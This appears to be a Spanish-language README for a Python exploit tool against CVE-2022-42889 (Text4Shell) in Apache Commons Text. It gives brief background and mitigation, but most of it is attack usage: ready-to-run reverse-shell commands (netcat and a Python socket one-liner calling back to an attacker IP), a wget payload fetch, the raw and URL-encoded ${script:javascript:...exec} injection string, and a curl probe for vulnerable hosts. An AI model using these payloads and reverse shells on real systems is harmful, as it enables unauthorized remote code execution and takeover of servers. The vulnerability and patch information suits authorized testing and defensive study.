
Un exploit en Python para CVE-2022-42889 (Text4Shell), una vulnerabilidad crítica de ejecución remota de código en Apache Commons Text versiones anteriores a 1.10.0.
Este exploit tiene como objetivo CVE-2022-42889 (Text4Shell), una vulnerabilidad en Apache Commons Text que permite la ejecución remota de código (RCE) a través de cadenas de entrada especialmente diseñadas procesadas por el interpolador StringLookup.
La vulnerabilidad es similar en impacto a Log4Shell pero afecta a una biblioteca diferente. Cuando la entrada controlada por el usuario se pasa a métodos vulnerables, un atacante puede ejecutar código arbitrario en el sistema objetivo.
Apache Commons Text proporciona interpolación de cadenas a través de la interfaz StringLookup. La búsqueda interpolator permite la evaluación de expresiones con varios prefijos, incluyendo:
${script:javascript:...} - Ejecuta código JavaScript (motor Nashorn)${url:UTF-8:...} - Obtiene URLs (SSRF)${dns:...} - Consultas DNS| Producto | Versiones Afectadas | Versión Parcheada |
|---|---|---|
| Apache Commons Text | < 1.10.0 | 1.10.0 |
| Java | < 15 (para RCE) | 15+ (Nashorn deshabilitado) |
Nota: Las versiones de Java ≥ 15 no son vulnerables a RCE a través del prefijo script (Nashorn deshabilitado), pero aún pueden ser vulnerables a SSRF a través de los prefijos url y dns.
requestsInstalar dependencias:
pip install requests
python3 text4shell.py -t <IP_OBJETIVO> -p <PUERTO> -c <COMANDO> --lhost <TU_IP> --lport <TU_PUERTO>
Argumentos
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444
# Iniciar listener
nc -lvnp 4444
# Ejecutar exploit
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444
${script:javascript:...}:${script:javascript:java.lang.Runtime.getRuntime().exec('COMANDO')}
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMANDO%27%29%7D
http://OBJETIVO:PUERTO/search?query=CARGA_CODIFICADA
Compruebe si su sistema es vulnerable:
curl -s "http://objetivo:8080/search?query=\${script:javascript:7*7}"
Si la respuesta contiene 49 en lugar de ${script:javascript:7*7}, el sistema es vulnerable.
commons-text-*.jar en la aplicación<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.10.0</version>
</dependency>
StringSubstitutor.createInterpolator()${script:javascript:}Este exploit es solo para fines educativos y pruebas de seguridad autorizadas. El uso no autorizado de este exploit contra sistemas que no posea o para los que no tenga permiso explícito para probar es ilegal. Los autores no son responsables de ningún uso indebido o daño causado por esta herramienta.
Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para más detalles.
¡Las contribuciones, problemas y solicitudes de funciones son bienvenidos! Siéntase libre de consultar la página de issues.
Happy Hacking! 🚀
| Argumento | Descripción | Requerido |
|---|
| -t, --target | Dirección IP del objetivo | ✅ Sí |
| -p, --port | Puerto del objetivo (por defecto: 8080) | ❌ No |
| -c, --command | Comando a ejecutar | ✅ Sí |
| --lhost | Tu IP para shell inversa | ✅ Sí |
| --lport | Tu puerto para shell inversa | ✅ Sí |